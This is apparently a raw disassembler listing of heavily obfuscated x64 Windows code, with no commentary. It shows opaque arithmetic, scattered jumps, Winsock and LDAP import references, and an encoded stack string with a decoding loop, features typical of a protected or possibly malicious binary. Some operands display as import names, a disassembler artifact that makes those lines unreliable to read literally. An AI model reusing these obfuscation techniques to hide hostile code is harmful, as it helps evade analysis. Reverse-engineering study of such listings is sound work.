movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14013682b
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140136733
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x140136882
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x7c
jmp 0x1401368b4
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140136911
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x16
cmp r10, 0x41
jb 0x14013668c
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 8]
jmp 0x14013677a
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 3
jae 0x14013669d
lea rcx, [r10 + 2]
cmp rbx, rcx
jbe 0x1401365cd
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
jmp 0x1401361a5
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
lea rax, [r10 + rbx]
cmp rax, 0x5a
je 0x1401366c7
lea rax, [r10 + 0x41]
cmp rbx, rax
jbe 0x1401364e4
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
jmp 0x1401361f9
movabs rdx, 0x245b66753cf0b6cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140136911
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x1401368b4
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140136128
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x140136733
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x14013683f
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x78
jmp 0x1401367ef
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0xc
jmp 0x1401367c2
movabs rdx, 0x75a693f66f0edb60
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r8b
jmp 0x1401367bf
movabs rcx, 0x81439a769aca052c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x34
jmp 0x14013677a
lea rcx, [r10 + 2]
cmp rbx, rcx
jae 0x140136403
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140136254
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140136433
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140136911
cmp rbx, rcx
jne 0x140136454
movabs rdx, 0xf4e46a7c122f3eac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
jmp 0x140136876
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140136482
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
jmp 0x1401360da
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401364af
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x64
jmp 0x1401367c2
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140136254
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
jmp 0x1401367bf
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140136512
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
jmp 0x14013607c
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140136543
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
jmp 0x1401367c2
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140136570
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x7a
jmp 0x14013683f
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14013659c
movabs rdx, 0x4c7f8c399815609e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x52
jmp 0x14013687f
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401361f9
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2a
jmp 0x140136911
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401365ea
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14013641b
cmp rbx, rcx
jne 0x140136612
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x24
jmp 0x1401362da
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14013663f
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x68
jmp 0x14013683f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013665c
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x1401364cb
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401361a5
movabs rdx, 0xbb54baf77571d628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x18
jmp 0x14013607c
mov byte [rbp + r9 + 0xcd0], dil
mov qword [rbp - 0x50], rdi
jmp 0x140136924
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + r9 + 0xcd0]
jmp 0x14013647a
movabs rdx, 0x987da776f24058c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, byte [rbp + r9 + 0xcd0]
sub r11b, 0x5c
jmp 0x14013687f
movabs rcx, 0x292707bcd6f97ac2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x4e
jmp 0x1401368b4
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
mov qword [rbp - 0x50], rdi
jmp 0x140136849
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x32
jmp 0x1401367c2
movabs rcx, 0x7a72353e09179f56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x5a
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xcd0], cl
jmp 0x1401367bf
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 0x16
add r10, r15
mov qword [rbp - 0x50], r11
sub r9, r15
mov rdi, r11
jmp 0x140136924
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r11d, [r8 + rcx]
sub r11b, 0x3e
movabs rcx, 0x9e4c2ab7081dedaa
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, r8b
mov byte [rbp + r9 + 0xcd0], dl
jmp 0x14013683f
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
mov qword [rbp - 0x50], r11
add rbx, r10
mov rdi, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140136924
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r8b
add r11b, dl
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xcd0], al
add r10, r15
add rax, r10
sub r9, rax
mov qword [rbp - 0x50], r11
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xcd0], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov rdi, r11
jmp 0x140136915
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x22
mov qword [rbp - 0x50], rdi
movzx eax, byte [rbp + r9 + 0xcd0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140135d5c
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov qword [rbp - 0x50], rdi
jmp 0x140135d57
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
mov qword [rbp - 0x50], rdi
jmp 0x140135d47
lea rdx, [rbp + 0x1600248]
jmp 0x140136997
lea rdx, [rbp + 0x1026d62]
jmp 0x140136997
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x320]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1750]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401369cc
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1750]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1750]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1750]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x580], Ordinal_60
mov byte [rbp + 0x581], Ordinal_143
mov byte [rbp + 0x582], 0x61
mov byte [rbp + 0x583], 0xf3
mov byte [rbp + 0x584], 0x5a
mov byte [rbp + 0x585], 0xf1
mov byte [rbp + 0x586], 0x62
mov byte [rbp + 0x587], 0xf7
mov byte [rbp + 0x588], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x589], 0xf5
mov byte [rbp + 0x58a], 0x5b
mov byte [rbp + 0x58b], 0xfb
mov byte [rbp + 0x58c], WSACleanup
mov byte [rbp + 0x58d], 0xf9
mov byte [rbp + 0x58e], 0x5b
mov byte [rbp + 0x58f], 0xff
mov byte [rbp + 0x590], r14b
mov byte [rbp + 0x591], 0xfd
mov byte [rbp + 0x592], 0x59
mov byte [rbp + 0x593], 0xe3
mov byte [rbp + 0x594], Ordinal_79
mov byte [rbp + 0x595], 0xe1
mov byte [rbp + 0x596], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x597], 0xe7
mov byte [rbp + 0x598], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x599], 0xe5
mov byte [rbp + 0x59a], 0x7f
mov byte [rbp + 0x59b], 0xeb
mov byte [rbp + 0x59c], 0x7a
mov byte [rbp + 0x59d], 0xe9
mov byte [rbp + 0x59e], Ordinal_79
mov byte [rbp + 0x59f], 0xef
mov byte [rbp + 0x5a0], 0x7a
mov byte [rbp + 0x5a1], 0xed
mov byte [rbp + 0x5a2], 0x88
mov byte [rbp + 0x5a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x5a4], 0x84
mov byte [rbp + 0x5a5], Ordinal_211
mov byte [rbp + 0x5a6], Ordinal_217
mov byte [rbp + 0x5a7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x5a8], rax
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x14013775c
movzx r8d, byte [rbp + r9 + 0x580]
mov rdx, r8
cmp rbx, r9
ja 0x140137753
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140136b8b
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rsi, rax, 0xfffffffffffffffe
add rsi, rcx
add rsi, rdx
add sil, 0x4e
jmp 0x140136e47
je 0x1401376c3
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140137636
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140137603
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401375b1
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140137558
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14013774a
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x140136bf5
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140136e0a
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140137546
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140137520
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401374fb
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401374e7
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401374c5
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140137195
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14013717b
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140137156
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x140137133
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14013710e
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401370ec
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401370c8
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401370a8
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140137086
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14013705f
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140136c43
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140137722
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401376fa
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140136e50
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140136e26
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140136dfb
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140137039
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140137013
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140136fec
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x140136fbc
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140136c43
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140136f95
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140136f73
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140136f51
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140136f2a
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x140136f08
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140136ee5
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140136ec2
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140136ea0
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140136e7b
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140136c43
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x140136c43
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x140136c36
movabs rdx, 0x84a9100974daa02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0x42
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x140136bcf
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
mov qword [rbp - 0x48], rsi
jmp 0x140136b4f
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x140137576
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x6c
jmp 0x140137355
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 8
jmp 0x140137540
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401375cd
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, r14b
jmp 0x1401375f7
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
jmp 0x14013761f
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x78
jmp 0x140137657
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x14
jmp 0x140137687
movabs rdx, 0x35c12dd26ef64cd0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
jmp 0x1401376df
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x36
mov qword [rbp - 0x48], rsi
mov byte [rbp + r9 + 0x580], sil
jmp 0x1401376f2
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x140137236
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0x6e
add sil, dl
jmp 0x1401371fa
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov sil, r8b
sub sil, al
sub sil, 0xa
add sil, dl
jmp 0x1401371bb
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x1401376df
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x38
jmp 0x140137687
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
jmp 0x140137652
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x70
jmp 0x14013761f
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0xc
jmp 0x1401375f7
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401375cf
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x44
jmp 0x140137540
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x140137355
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
sub dl, 0x7c
jmp 0x14013756d
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x14013726b
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r8b
mov qword [rbp - 0x48], rsi
lea rax, [r10 + rbx]
cmp rax, 0x80
je 0x14013749d
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x140137311
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x6a
mov qword [rbp - 0x48], rsi
cmp rbx, 0x1000
jae 0x140137477
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x14013739c
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 4
mov qword [rbp - 0x48], rsi
cmp r10, 9
jb 0x140136fdf
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dl
jmp 0x140137576
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140137297
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x34
jmp 0x1401376df
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401372b2
movabs rdx, 0xb8b05b574343cd24
mov ecx, r12d
jmp 0x1401370b7
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401372df
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x60
jmp 0x14013761f
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401371bf
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401375f7
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14013732e
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x140136e8a
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14013735e
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x32
mov qword [rbp - 0x48], rdx
jmp 0x1401375a2
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013737b
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14013711d
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401371fe
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
jmp 0x14013706e
jne 0x1401373c2
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea esi, [rcx + r8]
sub sil, 0x68
jmp 0x1401376df
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401373ed
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x30
jmp 0x140137657
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013741d
movabs rdx, 0x2690b2b5dca60bcc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r8b
add sil, dl
jmp 0x14013761f
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140137447
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x5c
jmp 0x1401375cd
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x14013723a
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
jmp 0x140137574
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, byte [rbp + r9 + 0x580]
sub cl, al
sub dl, 0x50
jmp 0x140137129
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0x580]
jmp 0x140137652
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x56
jmp 0x140137657
movabs rdx, 0x52684186f309aefe
mov ecx, 7
jmp 0x140136f39
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401375f7
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x48], rdx
jmp 0x1401375a5
movabs rdx, 0xdc582daba1a1e692
mov ecx, r15d
jmp 0x140137463
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
sub dl, 0x36
add al, al
mov cl, r8b
sub cl, al
add dl, cl
mov qword [rbp - 0x48], rdx
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x580], cl
add r10, r15
sub r9, r15
mov rsi, qword [rbp - 0x48]
jmp 0x1401376f2
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0xa
add dl, cl
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, dl
add r8b, cl
sub r8b, r12b
mov byte [rbp + r9 + 0x580], r8b
mov qword [rbp - 0x48], rdx
add rbx, r10
mov rsi, rdx
jmp 0x140137623
